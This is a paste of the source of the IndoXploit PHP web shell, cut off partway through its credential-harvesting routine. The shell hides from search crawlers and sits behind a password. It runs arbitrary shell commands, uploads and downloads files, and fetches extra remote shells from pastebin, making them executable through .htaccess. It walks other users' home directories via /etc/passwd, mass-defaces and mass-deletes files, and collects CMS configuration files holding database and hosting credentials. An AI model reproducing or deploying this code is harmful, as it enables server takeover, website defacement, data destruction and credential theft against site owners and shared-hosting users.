· 9 years ago · Aug 10, 2017, 10:00 AM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$password = "d489a3289ecdc847cb67f7a480e6f9fa"; # md5: IndoXploit
14
15$SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
16$FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
17
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25
26function login_shell() {
27?>
28<!DOCTYPE HTML>
29<html>
30<head>
31<title>IndoXploit</title>
32<style type="text/css">
33html {
34 margin: 20px auto;
35 background: #000000;
36 color: green;
37 text-align: center;
38}
39header {
40 color: green;
41 margin: 10px auto;
42}
43input[type=password] {
44 width: 250px;
45 height: 25px;
46 color: red;
47 background: transparent;
48 border: 1px dotted green;
49 margin-left: 20px;
50 text-align: center;
51}
52#curut
53{
54 font-size:5px;
55 text-align:left;
56 margin-top:60px;
57 margin-left:540px;
58}
59</style>
60</head>
61<div id="curut">
62 <pre>
63 <font color="green">,</font>
64 <font color="green">::,</font>
65 <font color="green">:::</font>
66 <font color="green">:::</font>
67 <font color="green">=</font> <font color="green">,:::</font>
68 <font color="green">?~</font> <font color="green">::::</font>
69 <font color="green">??,</font> <font color="green">::::</font>
70 <font color="green">+??</font> <font color="green">:~~~~~~~~~~:</font> <font color="green">::::</font>
71 <font color="green">???</font> <font color="green">~~~:~===~:~~~~~:</font> <font color="green">,::::,</font>
72 <font color="green">???</font> <font color="green">:~~===========~:~~~:</font> <font color="green">,..<font color="green">,::::</font>
73 <font color="green">???</font> <font color="green">~~==++++==========:~~~</font> <font color="green">~.<font color="green">,:,,,,</font>
74 <font color="green">~???:+++++++++=====~~~==:~~~..:~::~~~,</font>
75 <font color="green">??==++++++++++=~========:~~:,~:~~~::~~~~~,</font>
76 <font color="green">??:+++++??????=+++++++===~~~:~~~~~~~~~~~~~~:</font>
77 <font color="green">:?=++???????~+???++++++==~~~:~~~~~~~~~~~~~~~~</font>
78 <font color="green">?=????????????????++++=:~~~:~~~~~~~~~~~~~~~~~</font>
79 <font color="green">?=????????+????????+++:~~~~:~~~~~~~~~~~~~~~~~~:</font>
80 <font color="green">?+?????????????????+++:~~~~:~~~~~~~~~~~~~~~~~~~</font>
81 <font color="green">??=????????????????+++~~~~::~~~~::~~~~~~~~~~~~~~</font>
82 <font color="green">???~?????????+??????++++~~:~~~.. .~~~~~~~~~~~~:</font>
83 <font color="green">??? <font color="green">=?????=.?????????~~~~~~~...<font color="green"> =.~~~~~~~~~~~~~~</font>
84 <font color="green">~??? <font color="green">+??..+?????????~~~~~~~.<font color="green"> =....~~~~~~~~~~~~~II+</font>
85 <font color="green">???? <font color="green">=????????.::~~~~~~~,...<font color="green">,~~~~~~~~~~~~+???,</font>
86 <font color="green">???? <font color="green">:::~~~~~~~~~~~~~~~~~~~~~~~~:+?:</font>
87 <font color="green">???~ <font color="green">:::::~~~~~~~~~~~~~~~~~~~::::::,</font>
88 <font color="green">????: <font color="green">:::::::,,,,:~~~~~~~:::::::::,</font>
89 <font color="green">????: <font color="green">,,,::::::::::::,,,:::::::,</font>
90 <font color="green">,????~ <font color="green">,~~~,::::::::,,,:::::::::,</font>
91 <font color="green">~????+ <font color="green">~~~~~~~~~:::,,::::::::::</font>
92 <font color="green">+????? <font color="green">~~~~~~~~~~~,,~~::::::::</font>
93 <font color="green">+????? <font color="green">~~~~~~~~~~~,:~~~~~~~::,:,</font>
94 <font color="green">++????? <font color="green">:~~~~~~~~~~,:~~~~~~~~~::,::,</font>
95 <font color="green">=+?????+ <font color="green">,~~~~~~~~~~~,~~~~~~~:~~~::::::,</font>
96 <font color="green">:++?????, <font color="green">,~~~~~~~~~~,,~~~~~~~~~:~~:::::::</font>
97 <font color="green">++??????~ <font color="green">~~~~~~~~~~~~~,::::~~~~~~~~::,:::::</font>
98 <font color="green">=++???????,~~~~~~~~~~~~~~~~:,:::~:~~,~::.:::,:</font>
99 <font color="green">+++?????,~~~~~~~~~~~~~~~~~~~,,::~~:,:::</font>..<font color="green">::,,</font>
100 <font color="green">+++????:~~~~~~~~~~~~~~~~~~~~~~:,,:~:::</font>
101 <font color="green">++++??:~~~~~~~~~~~~~~~~~~~~,~~~~~:::,</font>
102 <font color="green">++++=:~~~~~~~~~~~~~~~~~~~~:~~~~::::,</font>
103 <font color="green">+++::~~~~~~~~~~~~~~~~~~~:~~~:::::,</font>
104 <font color="green">=,:~~~~~~~~~~~~~~~~~~~,~~::::::</font>
105 <font color="green">,::~~~~~~~~~~~~~~~~:::::::::</font>
106 <font color="green">:::~~~~~~~~~~~~~~:,:::::::</font>
107 <font color="green">,:::::~~~~~~~:::::::::,+++~</font>
108 <font color="green">=,:::::::::::,:::::+++????++</font>
109 <font color="green">++++~,,,,:???+</font>...<font color="green">=+++????+?</font>
110 <font color="green">:++++???+??+</font>
111 <font color="green">+++=~</font>
112 </pre>
113</div>
114<center>
115<form method="post">
116<input type="password" name="password">
117</form>
118<?php
119exit;
120}
121
122if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
123 if(empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password)))
124 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
125 else
126 login_shell();
127
128if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
129 @ob_clean();
130 $file = $_GET['file'];
131 header('Content-Description: File Transfer');
132 header('Content-Type: application/octet-stream');
133 header('Content-Disposition: attachment; filename="'.basename($file).'"');
134 header('Expires: 0');
135 header('Cache-Control: must-revalidate');
136 header('Pragma: public');
137 header('Content-Length: ' . filesize($file));
138 readfile($file);
139 exit;
140}
141
142if(get_magic_quotes_gpc()) {
143 function idx_ss($array) {
144 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
145 }
146 $_POST = idx_ss($_POST);
147}
148?>
149<!DOCTYPE HTML>
150<html>
151<!--
152###############################################################################
153// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
154// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
155// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
156// Tanpa kalian kita tidak akan BESAR seperti sekarang.
157// Greetz: All Member IndoXploit. & All My Friends.
158###############################################################################
159// Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
160###############################################################################
161-->
162<head>
163<title>IndoXploit</title>
164<meta name='author' content='IndoXploit'>
165<meta charset="UTF-8">
166<style type='text/css'>
167@import url(https://fonts.googleapis.com/css?family=Ubuntu);
168html {
169 background: #000000;
170 color: #ffffff;
171 font-size: 14px;
172 width: 100%;
173}
174
175li {
176 display: inline;
177 margin: 5px;
178 padding: 5px;
179}
180
181a {
182 color: #ffffff;
183 text-decoration: none;
184}
185
186a:hover {
187 color: gold;
188 text-decoration: underline;
189}
190
191b {
192 color: gold;
193}
194
195pre {
196 font-size: 13px;
197}
198
199table, th, td {
200 border-collapse:collapse;
201 background: transparent;
202 font-family: 'Ubuntu';
203 font-size: 13px;
204}
205
206.table_home, .th_home, .td_home {
207 border: 1px solid #ffffff;
208}
209
210.th_home {
211 color: lime;
212}
213
214.td_home, .td_home > a {
215 color: #ffffff;
216}
217
218.td_home > a:hover {
219 color: gold;
220}
221
222th {
223 padding: 10px;
224}
225
226tr:hover {
227 background: #006400;
228 color: #ffffff;
229}
230
231input[type=text], input[type=password], .input {
232 background: transparent;
233 color: #ffffff;
234 border: 1px solid #ffffff;
235 padding: 3px;
236 font-family: 'Ubuntu';
237 font-size: 13px;
238}
239
240input[type=submit] {
241 padding: 2px;}
242
243input[type=submit]:hover {
244 cursor: pointer;
245}
246
247input:focus, textarea:focus {
248 outline: 0;
249 border-color: #ffffff;
250}
251
252textarea {
253 border: 1px solid #ffffff;
254 width: 100%;
255 height: 400px;
256 padding-left: 5px;
257 margin: 10px auto;
258 resize: none;
259 background: transparent;
260 color: #ffffff;
261 font-family: 'Ubuntu';
262 font-size: 13px;
263}
264iframe {
265 width: 100%;
266 min-height: 500px;
267}
268</style>
269</head>
270<body>
271<?php
272function path() {
273 if(isset($_GET['dir'])) {
274 $dir = str_replace("\\", "/", $_GET['dir']);
275 @chdir($dir);
276 } else {
277 $dir = str_replace("\\", "/", getcwd());
278 }
279 return $dir;
280}
281
282function color($bold = 1, $colorid = null, $string = null) {
283 $color = array(
284 "</font>", # 0 off
285 "<font color='red'>", # 1 red
286 "<font color='lime'>", # 2 lime
287 "<font color='white'>", # 3 white
288 "<font color='gold'>", # 4 gold
289 );
290
291 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
292}
293
294function OS() {
295 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
296}
297
298function exe($cmd) {
299 if(function_exists('system')) {
300 @ob_start();
301 @system($cmd);
302 $buff = @ob_get_contents();
303 @ob_end_clean();
304 return $buff;
305 } elseif(function_exists('exec')) {
306 @exec($cmd,$results);
307 $buff = "";
308 foreach($results as $result) {
309 $buff .= $result;
310 } return $buff;
311 } elseif(function_exists('passthru')) {
312 @ob_start();
313 @passthru($cmd);
314 $buff = @ob_get_contents();
315 @ob_end_clean();
316 return $buff;
317 } elseif(function_exists('shell_exec')) {
318 $buff = @shell_exec($cmd);
319 return $buff;
320 }
321}
322
323function save($filename, $mode, $file) {
324 $handle = fopen($filename, $mode);
325 fwrite($handle, $file);
326 fclose($handle);
327 return;
328}
329
330function getfile($name) {
331 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name."));
332 if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
333 elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
334 elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx");
335 elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx");
336
337 $fp = fopen($get[1], "w");
338 $ch = curl_init();
339 curl_setopt($ch, CURLOPT_URL, $get[0]);
340 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
341 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
342 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
343 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
344 curl_setopt($ch, CURLOPT_FILE, $fp);
345 return curl_exec($ch);
346 curl_close($ch);
347 fclose($fp);
348 ob_flush();
349 flush();
350}
351
352function usergroup() {
353 if(!function_exists('posix_getegid')) {
354 $user['name'] = @get_current_user();
355 $user['uid'] = @getmyuid();
356 $user['gid'] = @getmygid();
357 $user['group'] = "?";
358 } else {
359 $user['uid'] = @posix_getpwuid(posix_geteuid());
360 $user['gid'] = @posix_getgrgid(posix_getegid());
361 $user['name'] = $user['uid']['name'];
362 $user['uid'] = $user['uid']['uid'];
363 $user['group'] = $user['gid']['name'];
364 $user['gid'] = $user['gid']['gid'];
365 }
366 return (object) $user;
367}
368
369function getuser() {
370 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
371 while($read = fgets($fopen)) {
372 preg_match_all('/(.*?):x:/', $read, $getuser);
373 $user[] = $getuser[1][0];
374 }
375 return $user;
376}
377
378function getdomainname() {
379 $fopen = fopen("/etc/named.conf", "r");
380 while($read = fgets($fopen)) {
381 preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
382 $domain[] = $getdomain[1][0];
383 }
384 return $domain;
385}
386
387function hddsize($size) {
388 if($size >= 1073741824)
389 return sprintf('%1.2f',$size / 1073741824 ).' GB';
390 elseif($size >= 1048576)
391 return sprintf('%1.2f',$size / 1048576 ) .' MB';
392 elseif($size >= 1024)
393 return sprintf('%1.2f',$size / 1024 ) .' KB';
394 else
395 return $size .' B';
396}
397
398function hdd() {
399 $hdd['size'] = hddsize(disk_total_space("/"));
400 $hdd['free'] = hddsize(disk_free_space("/"));
401 $hdd['used'] = $hdd['size'] - $hdd['free'];
402 return (object) $hdd;
403}
404
405function writeable($path, $perms) {
406 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
407}
408
409function perms($path) {
410 $perms = fileperms($path);
411 if (($perms & 0xC000) == 0xC000) {
412 // Socket
413 $info = 's';
414 }
415 elseif (($perms & 0xA000) == 0xA000) {
416 // Symbolic Link
417 $info = 'l';
418 }
419 elseif (($perms & 0x8000) == 0x8000) {
420 // Regular
421 $info = '-';
422 }
423 elseif (($perms & 0x6000) == 0x6000) {
424 // Block special
425 $info = 'b';
426 }
427 elseif (($perms & 0x4000) == 0x4000) {
428 // Directory
429 $info = 'd';
430 }
431 elseif (($perms & 0x2000) == 0x2000) {
432 // Character special
433 $info = 'c';
434 }
435 elseif (($perms & 0x1000) == 0x1000) {
436 // FIFO pipe
437 $info = 'p';
438 }
439 else {
440 // Unknown
441 $info = 'u';
442 }
443 // Owner
444 $info .= (($perms & 0x0100) ? 'r' : '-');
445 $info .= (($perms & 0x0080) ? 'w' : '-');
446 $info .= (($perms & 0x0040) ?
447 (($perms & 0x0800) ? 's' : 'x' ) :
448 (($perms & 0x0800) ? 'S' : '-'));
449 // Group
450 $info .= (($perms & 0x0020) ? 'r' : '-');
451 $info .= (($perms & 0x0010) ? 'w' : '-');
452 $info .= (($perms & 0x0008) ?
453 (($perms & 0x0400) ? 's' : 'x' ) :
454 (($perms & 0x0400) ? 'S' : '-'));
455 // World
456 $info .= (($perms & 0x0004) ? 'r' : '-');
457 $info .= (($perms & 0x0002) ? 'w' : '-');
458 $info .= (($perms & 0x0001) ?
459 (($perms & 0x0200) ? 't' : 'x' ) :
460 (($perms & 0x0200) ? 'T' : '-'));
461
462 return $info;
463}
464
465function lib_installed() {
466 $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
467 $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
468 $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
469 $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
470 $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
471 return implode(" | ", $lib);
472}
473
474function pwd() {
475 $dir = explode("/", path());
476 foreach($dir as $key => $index) {
477 print "<a href='?dir=";
478 for($i = 0; $i <= $key; $i++) {
479 print $dir[$i];
480 if($i != $key) {
481 print "/";
482 }
483 }
484 print "'>$index</a>/";
485 }
486 print "<br>";
487 print (OS() === "Windows") ? windisk() : "";
488}
489
490function windisk() {
491 $letters = "";
492 $v = explode("\\", path());
493 $v = $v[0];
494 foreach(range("A", "Z") as $letter) {
495 $bool = $isdiskette = in_array($letter, array("A"));
496 if(!$bool) $bool = is_dir("$letter:\\");
497 if($bool) {
498 $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
499 if($letter.":" != $v) {
500 $letters .= $letter;
501 }
502 else {
503 $letters .= color(1, 2, $letter);
504 }
505 $letters .= "</a> ]";
506 }
507 }
508 if(!empty($letters)) {
509 print "Detected Drives $letters<br>";
510 }
511 if(count($quicklaunch) > 0) {
512 foreach($quicklaunch as $item) {
513 $v = realpath(path(). "..");
514 if(empty($v)) {
515 $a = explode(DIRECTORY_SEPARATOR,path());
516 unset($a[count($a)-2]);
517 $v = join(DIRECTORY_SEPARATOR, $a);
518 }
519 print "<a href='".$item[1]."'>".$item[0]."</a>";
520 }
521 }
522}
523
524function serverinfo() {
525 $disable_functions = @ini_get('disable_functions');
526 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
527
528 $output[] = "SERVER IP ".color(1, 2, $GLOBALS['SERVERIP'])." / YOUR IP ".color(1, 2, $_SERVER['REMOTE_ADDR']);
529 $output[] = "WEB SERVER : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
530 $output[] = "SYSTEM : ".color(1, 2, php_uname());
531 $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
532 $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
533 $output[] = "PHP VERSION : ".color(1, 2, @phpversion());
534 $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
535 $output[] = "DISABLE FUNC: $disable_functions";
536 $output[] = lib_installed();
537 $output[] = "Current Dir (".writeable(path(), perms(path())).") ";
538
539 print "<pre>";
540 print implode("<br>", $output);
541 pwd();
542 print "</pre>";
543
544}
545
546function curl($url, $post = false, $data = null) {
547 $ch = curl_init($url);
548 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
549 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
550 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
551 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
552 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
553 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
554 if($post) {
555 curl_setopt($ch, CURLOPT_POST, true);
556 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
557 }
558 $curl['exec'] = curl_exec($ch);
559 $curl['info'] = curl_getinfo($ch);
560
561 return [
562 "info" => $curl['info'],
563 "response" => $curl['exec']
564 ];
565
566 curl_close($ch);
567}
568
569function reverse() {
570 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=")['response'];
571 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
572 $explode = explode(",,", $response);
573 unset($explode[0]);
574
575 foreach($explode as $domain) {
576 $domain = "http://$domain";
577 $domain = str_replace(",", "", $domain);
578 $url[] = $domain;
579 ob_flush();
580 flush();
581 }
582
583 return $url;
584}
585
586function getValue($param, $kata1, $kata2){
587 if(strpos($param, $kata1) === FALSE) return FALSE;
588 if(strpos($param, $kata2) === FALSE) return FALSE;
589 $start = strpos($param, $kata1) + strlen($kata1);
590 $end = strpos($param, $kata2, $start);
591 $return = substr($param, $start, $end - $start);
592 return $return;
593}
594
595function massdeface($dir, $file, $filename, $type = null) {
596 $scandir = scandir($dir);
597 foreach($scandir as $dir_) {
598 $path = "$dir/$dir_";
599 $location = "$path/$filename";
600 if($dir_ === "." || $dir_ === "..") {
601 file_put_contents($location, $file);
602 }
603 else {
604 if(is_dir($path) AND is_writable($path)) {
605 print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
606 file_put_contents($location, $file);
607 if($type === "-alldir") {
608 massdeface($path, $file, $filename, "-alldir");
609 }
610 }
611 }
612 }
613}
614
615function massdelete($dir, $filename) {
616 $scandir = scandir($dir);
617 foreach($scandir as $dir_) {
618 $path = "$dir/$dir_";
619 $location = "$path/$filename";
620 if($dir_ === '.') {
621 if(file_exists("$dir/$filename")) {
622 unlink("$dir/$filename");
623 }
624 }
625 elseif($dir_ === '..') {
626 if(file_exists(dirname($dir)."/$filename")) {
627 unlink(dirname($dir)."/$filename");
628 }
629 }
630 else {
631 if(is_dir($path) AND is_writable($path)) {
632 if(file_exists($location)) {
633 print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
634 unlink($location);
635 massdelete($path, $filename);
636 }
637 }
638 }
639 }
640}
641
642function tools($toolsname, $args = null) {
643 if($toolsname === "cmd") {
644 print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
645 ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
646 <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>
647 <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>
648 </form>";
649 }
650 elseif($toolsname === "readfile") {
651 if(empty($args)) die(color(1, 1, $msg));
652 if(!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
653
654 print "<pre>";
655 print htmlspecialchars(file_get_contents($args));
656 print "</pre>";
657 }
658 elseif($toolsname === "spawn") {
659 if($args === "adminer") {
660 if(file_exists("adminer.php")) {
661 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
662 }
663 else {
664 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'."));
665 if(getfile("adminer")) {
666 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
667 }
668 else {
669 print color(1, 1, "Error while downloading file Adminer.");
670 @unlink("adminer.php");
671 }
672 }
673 }
674 elseif($args === "webconsole") {
675 if(file_exists("webconsole.php")) {
676 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
677 }
678 else {
679 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'."));
680 if(getfile("webconsole")) {
681 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
682 }
683 else {
684 print color(1, 1, "Error while downloading file WebConsole.");
685 @unlink("webconsole.php");
686 }
687 }
688 }
689 elseif($args === "cgitelnet1") {
690 if(file_exists("idx_cgi/cgitelnet1.idx")) {
691 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
692 }
693 elseif(file_exists('cgitelnet1.idx')) {
694 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
695 }
696 else {
697 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
698 if(!is_dir(path()."/idx_cgi/")) {
699 @mkdir('idx_cgi', 0755);
700 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
701 }
702 if(getfile("cgitelnet1")) {
703 chmod('idx_cgi/cgitelnet1.idx', 0755);
704 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
705 }
706 else {
707 print color(1, 1, "Error while downloading file CGI Telnet.");
708 @rmdir(path()."/idx_cgi/");
709 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
710 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
711 }
712 }
713
714 }
715 elseif($args === "cgitelnet2") {
716 if(file_exists("idx_cgi/cgitelnet2.idx")) {
717 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
718 }
719 elseif(file_exists('cgitelnet2.idx')) {
720 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
721 }
722 else {
723 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
724 if(!is_dir(path()."/idx_cgi/")) {
725 @mkdir('idx_cgi', 0755);
726 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
727 }
728 if(getfile("cgitelnet2")) {
729 chmod('idx_cgi/cgitelnet2.idx', 0755);
730 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
731 }
732 else {
733 print color(1, 1, "Error while downloading file CGI Telnet.");
734 @rmdir(path()."/idx_cgi/");
735 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
736 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
737 }
738 }
739
740 }
741 elseif($args === "phpinfo") {
742 if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
743 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
744 }
745 else {
746 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'."));
747 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
748 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
749 }
750 }
751 }
752 elseif($toolsname === "upload") {
753 if($_POST['upload']) {
754 if($_POST['uploadtype'] === '1') {
755 if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
756 $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
757 }
758 else {
759 $act = color(1, 1, "Failed to upload file!");
760 }
761 }
762 elseif($_POST['uploadtype'] === '2') {
763 $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
764 $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
765 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
766 if(@copy($_FILES['file']['tmp_name'], $root)) {
767 $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
768 }
769 else {
770 $act = color(1, 1, "Failed to upload file!");
771 }
772 }
773 else {
774 $act = color(1, 1, "Failed to upload file!");
775 }
776 }
777 }
778 print "Upload File: $act
779 <form method='post' enctype='multipart/form-data'>
780 <input type='radio' name='uploadtype' value='1' checked>current_dir [ ".writeable(path(), "Writeable")." ]
781 <input type='radio' name='uploadtype' value='2'>document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]<br>
782 <input type='file' name='file'>
783 <input type='submit' value='upload' name='upload'>
784 </form>";
785 }
786 elseif($toolsname === "jumping") {
787 $i = 0;
788 foreach(getuser() as $user) {
789 $path = "/home/$user/public_html";
790 if(is_readable($path)) {
791 $status = color(1, 2, "[R]");
792 if(is_writable($path)) {
793 $status = color(1, 2, "[RW]");
794 }
795 $i++;
796 print "$status <a href='?dir=$path'>".color(1, 4, $path)."</a>";
797 if(!function_exists('posix_getpwuid')) print "<br>";
798 if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."<br>";
799 foreach(getdomainname() as $domain) {
800 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
801 $userdomain = $userdomain->name;
802 if($userdomain === $user) {
803 print " => <a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
804 break;
805 }
806 }
807 }
808 }
809 print ($i === 0) ? "" : "<p>".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."</p>";
810 }
811 elseif($toolsname === "idxconfig") {
812 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'."));
813 if(!is_dir(path()."/idx_config/")) {
814 @mkdir('idx_config', 0755);
815 $htaccess = "Options all\nDirectoryIndex indoxploit.htm\nSatisfy Any";
816 save("idx_config/.htaccess","w", $htaccess);
817
818 foreach(getuser() as $user) {
819 $user_docroot = "/home/$user/public_html/";
820 if(is_readable($user_docroot)) {
821 $getconfig = array(
822 "/home/$user/.accesshash" => "WHM-accesshash",
823 "$user_docroot/config/koneksi.php" => "Lokomedia",
824 "$user_docroot/forum/config.php" => "phpBB",
825 "$user_docroot/sites/default/settings.php" => "Drupal",
826 "$user_docroot/config/settings.inc.php" => "PrestaShop",
827 "$user_docroot/app/etc/local.xml" => "Magento",
828 "$user_docroot/admin/config.php" => "OpenCart",
829 "$user_docroot/application/config/database.php" => "Ellislab",
830 "$user_docroot/vb/includes/config.php" => "Vbulletin",
831 "$user_docroot/includes/config.php" => "Vbulletin",
